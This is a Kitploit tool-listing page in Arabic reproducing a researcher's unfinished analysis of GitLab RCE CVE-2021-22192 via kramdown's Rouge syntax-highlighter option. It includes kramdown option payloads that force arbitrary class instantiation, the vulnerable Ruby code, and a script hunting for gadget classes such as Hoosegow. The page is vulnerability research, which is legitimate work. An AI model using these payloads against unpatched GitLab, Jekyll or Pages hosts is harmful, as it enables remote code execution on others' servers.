Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
أدوات/GitHubGitHub/petrusviet/gitlab-rce
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

عرض المستودع
12326منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تحليل ثغرة RCE في GitLab (CVE-2021–22192)

I) البناء

  • تحدث هذه الثغرة في GitLab Community Edition (CE) و Enterprise Edition (EE) في الإصدارات (>=13.2, <13.7.9), (>=13.8, <13.8.6) و (>=13.9, <13.9.4)
  • يمكنكم اتباع إرشادات lyy289065406 لبناء البيئة.

II) التحليل

عندما بدأت في تحليل هذه الثغرة، لم يكن لدي سوى بعض المعلومات القيمة من lyy289065406 التي ساعدتني في فهم المشكلة الجوهرية في هذا الخلل. نلاحظ أن المشكلة تبدو في الجيم kramdown (<= 2.3.0)، لذا بدأت بالبحث في kramdown أولاً.

1. Kramdown

يمكننا فحص التصحيح الخاص بـ kramdown، ونلاحظ الفرق في الدالة formatter_class في الوحدة Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) تحولت إلى ::Rouge::Formatters.const_get(formatter, false)

الدالة const_get موروثة من صنف Object، ويمكنها الحصول على الثوابت. بل ويمكنها حتى إرجاع الأصناف المُعلنة مسبقًا التي يمكنها العثور عليها. الفرق هنا هو إضافة معامل false. إضافة المعامل false تجعل const_get لا تستطيع الحصول على الثوابت من الصنف الأب أو الوحدات. الأمر الأكثر خصوصية: في الدالة self.call يتم استدعاء الدالة formatter_class ثم يتم استدعاء new(opts). هذا يعني أن الميثود التي تم الحصول عليها عبر const_get سيتم استدعاء Constructor الخاص بها لتهيئتها.

def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

واو، واو. إذن كيف يمكن استغلالها؟

بناءً على Kramdown:Options يمكننا استدعاء الدالة Kramdown::Converter::SyntaxHighlighter::Rouge.call

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

بالإضافة إلى ذلك، نلاحظ في الوحدة Kramdown:Options أن الدالة simple_hash_validator استدعت YAML.safe_load(val). إذن يمكننا أيضًا تكوين ملف YML لإيصال الحمولة المطلوبة إلى Kramdown::Converter::SyntaxHighlighter::Rouge

def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • يتم استخدام Kramdown بواسطة Jekyll و GitLab Pages و GitHub Pages و Thredd Forum. لذلك قررت تجربته مع Jekyll أولاً.

2. Jekyll

أولاً، أحتاج إلى بناء Jekyll:

  • تثبيت Jekyll
gem install jekyll
  • إنشاء صفحة Jekyll باسم jekyllTest
jekyll new jekyllTest
  • تعديل ملف Gemfile.lock لجعل إصدار kramdown <= 2.3.0
cd jekyllTest

ملف Gemfile.lock


...
kramdown (2.3.0)
...

  • تثبيت الصفحة
 bundle install

بهذا نكون قد أكملنا إنشاء صفحة Jekyll. الآن يمكننا إدخال الحمولة لنرى ما إذا كانت Kramdown::Converter::SyntaxHighlighter::Rouge.call ستستدعي بالفعل ميثود ما أم لا.

يمكننا الإضافة إلى ملف ./_config.yml

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

أو استخدام مستند kramdown بإضافة الحمولة إلى ./_posts/*.markdown

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

هنا أستخدم الطريقة الثانية =)))))

  • نقوم بنشر صفحة Jekyll
bundle exec jekyll serve

قد تواجه خطأ "require': cannot load such file -- webrick (LoadError)" تحتاج لإضافة gem "webrick" إلى Gemfile

  • نرى رسالة الخطأ private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: مما يثبت أن صنف CSV قد تم استدعاؤه.

الخطوة التالية هي تحديد الميثود التي سنختارها بحيث يؤدي استدعاء الـ constructor إلى حدوث RCE؟

وفقًا لمقالة تحليل CVE-2020-10518 التي تستخدم خللًا في kramdown لإحداث RCE على Github. أستهدف صنف Hoosegow:

  • نلاحظ في دالة initialize لـ Hoosegow أنها تستدعي load_inmate_methods
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • في load_inmate_methods نرى أنها تستدعي require inmate_file
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • و inmate_file يتم إنشاؤه بجمع السلسلة @inmate_dir مع 'inmate.rb'. إذا استطعنا استدعاء هذا الصنف وتعديل المعامل inmate_dir ليصبح مسارًا لملف الحمولة الخاص بنا، ألن يحدث RCE هنا؟

  • أقوم بتشغيل سكريبت في مسار صفحة Jekyll لفحص الميثودات المعرفة:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • للأسف، لا يوجد صنف باسم Hoosegow، حتى عندما أتجنب تعطل السكريبت في المنتصف بوضع شرط ob.name == "Hoosegow"
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • تبين أن مسار الأصناف لم يُعلن بعد عن صنف Hoosegow، أضفت gem "hoosegow" إلى Gemfile ووجد السكريبت هذا الصنف. [هه هه هه]
  • ثم أحاول استدعاء Hoosegow بواسطة kramdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • بوم. لم يحدث شيء، صنف Hoosegow لم يُستدع. =)))))))))
  • علقت هنا.. أسبوع. نعم، ضاع أسبوع بسببه. كنت أدور في حلقة مع السؤال: "لماذا يوجد صنف Hoosegow في bundler، لكن عند استدعائه من تحت Kramdown لا يعمل؟ كان يجب أن يعمل، أليس كذلك؟"

  • فكرت: "إذا كان قد تم التصريح عنه في Gemfile، فهذا يعني أنه موجود في مسار الأصناف. إذا كان البرنامج لا يزال لا يجد 'Hoosegow'، فبالتأكيد لم يتم تحميله بعد... إذاً هل هناك طريقة للتصريح عن الجيم بحيث يتم تحميله عند تشغيل Jekyll قبل معالجة الأجزاء الأخرى في دليل المصدر؟"

تنزيل الأداة